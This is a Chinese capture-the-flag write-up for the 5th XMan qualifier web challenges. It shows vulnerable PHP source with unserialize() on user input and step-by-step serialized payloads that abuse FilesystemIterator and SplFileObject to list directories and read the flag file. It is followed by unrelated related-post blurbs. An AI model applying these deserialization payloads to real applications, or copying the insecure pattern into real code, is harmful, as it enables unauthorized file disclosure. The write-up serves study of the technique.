[WP]第五届XMan选拔赛web
第五届XMan选拔赛
本次比赛一共三道web,一道签到题就不用说了,另外两道貌似也都不是很难的题,但是确实水个人平太菜,没都做出来,还是逐步积累经验吧
easyphp
<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class;public $para;public $check;public function __construct(){$this->class = "Hel";$this->para = "xctfer";echo new $this->class ($this->para);}public function __wakeup(){$this->check = new Filter;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new $this->class ($this->para);}elsedie('what?Really?');}}
class Hel{var $a;public function __construct($a){$this->a = $a;echo ("Hello bro, I guess you are a lazy ".$this->a);}
}
class Filter{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;}
}if(isset($_GET['xctf'])){unserialize($_GET['xctf']);
}
else{$a=new XMAN;
}
本题考点,反序列化及拼接调用filesystemiterator和splfileobject类方法;
通过代码审计,对我们有用的代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new $this->class ($this->para); //关键,触发点,能够创建指定类对象}}}
主要是通过反序列化用wakeup拼接调用任意类方法,达到文件读取的目的;
这里的两个类方法功能:
FilesystemIterator:指定目录的迭代器
SplFileObject:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容
构造序列化:
<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class = 'FilesystemIterator';public $para = './';public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}
显示:
得到文件夹/xxxXXXmMManNNn
继续构造:
<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class = 'FilesystemIterator';public $para = './xxxXXXmMManNNn/';public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:17:"./xxxXXXmMManNNn/";s:5:"check";N;}
显示:
提醒flag在f1a4.php里:
构造反序列化调用splfileobject类方法读取文件内容:
<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class = 'SplFileObject';public $para = './xxxXXXmMManNNn/f1a4.php';public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:25:"./xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}
载入payload后查看源码找到flag
easyssti
一道模板注入的题,还没接触过模板注入,官方wp还看不懂,先滚去学了。
[WP]第五届XMan选拔赛web相关推荐
- 【CTF大赛】第五届XMan选拔赛 ezCM Writeup
ezCM 直至比赛结束,这道题目都是 0 解题,一方面是因为比赛时间较短,另一方面还是因为这道题目较难,考察了不常见的椭圆曲线算法(ECC),大大增加了对做题者的要求. 题目信息 题目是使用 Gola ...
- Xman资格选拔赛-web
variacover 这道题一打开就是源码,主要就是根据源码构造url.其中,它接收的参数只有b,但源码中要获取flag的关键参数是a[0].parse_str()函数的作用是把查询字符串解析到变量中 ...
- 广西首届网络安全选拔赛 WEB Writeup
WEB安全(WEB) WEB 题型就是最大众化的WEB漏洞的考察了,他会涉及到注入,代码执行,文件包含等常见的WEB漏洞. 管理员的愤怒 分值:100 靶机:192.168.43.134 阿水是某部门 ...
- [*CTF2022]web题目复现及wp
文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...
- 国赛mysql加固_2019 全国大学生信息安全竞赛创新能力实践赛3道Web Writeup
0x01 JustSoso 本题的主要知识点在于反序列化的应用和parse_url()函数的解析问题,首先通过网页源码中的文件读取提示读取得到index.php文件源码和hint文件源码,任意文件读取 ...
- SWPUCTF2022 校内赛道部分 wp
文章目录 web 欢迎来到Web安全 easy_sql happy_rce happy_php do_not_wakeup can you faster ez_include newnew easy_ ...
- Incognito CTF 3.0部分WP及赛后复现
ictf部分wp及赛后复现 Web Invisible We found an illegal forum but are unable to access due to it being invit ...
- LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分
LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分 前言: Web: 我Flag呢? 导弹迷踪: Follow me and hack me: PHP是世界上最好的语言!! 作业管理系统: ...
- 战力爆表|21支明星战队等你围观!
大浪淘沙始见金,风卷残云剩为王 21支高校明星CTF战队初露王者之相 晋级XCTF高校网络安全专题挑战赛总决赛 2021年10月29日-10月30日东莞·华为松山湖园区 集结再出发,踏上新征途! ...
- Linux服务器--CentOS7上实现LAMP(PhpMyAdmin,WordPress,Discuz)
CentOS7上实现LAMP 实验要求: 在CentOS7上实现LAMP(使用rpm安装),功能如下: 在httpd上实现三个虚拟主机, 主机名分别为: Vhosts1:pma.Stud.com ,此 ...
最新文章
- 如何及时获得AI顶尖科研团队的最新论文与进展?你需要一份AI内参!
- python flask 学习与实战
- 集群、分布式、微服务的概念及异同
- 使用java代码发送zip文件到邮箱_Azkaban安装与使用(下)
- DotText研究资料整理
- Glassnode:比特币正迎来多年以来最大的流动性枯竭
- JS对于JSON的增删改查操作
- android内核读取file文件
- Sublime Text 3 汉化
- assert断言的概念
- 3D数学基础----欧拉角
- HeadFirstJava 11异常处理
- java jsp交友系统_Jsp+Servlet+Javabean网络交友程序设计+源代码
- SHFileOperation删除文件夹
- linux加密认证全面分析
- MIDIPLUS/迷笛studio m pro 2 valve声卡安装调试教程
- JavaScript-作用域和作用链
- 用断点续存实现视频快速上传
- 0321 预习笔记直播笔记
- Redis全部知识总结(概念、安装、用法、数据类型、事务、持久化、Jeids、订阅系统、缓存穿透及雪崩等)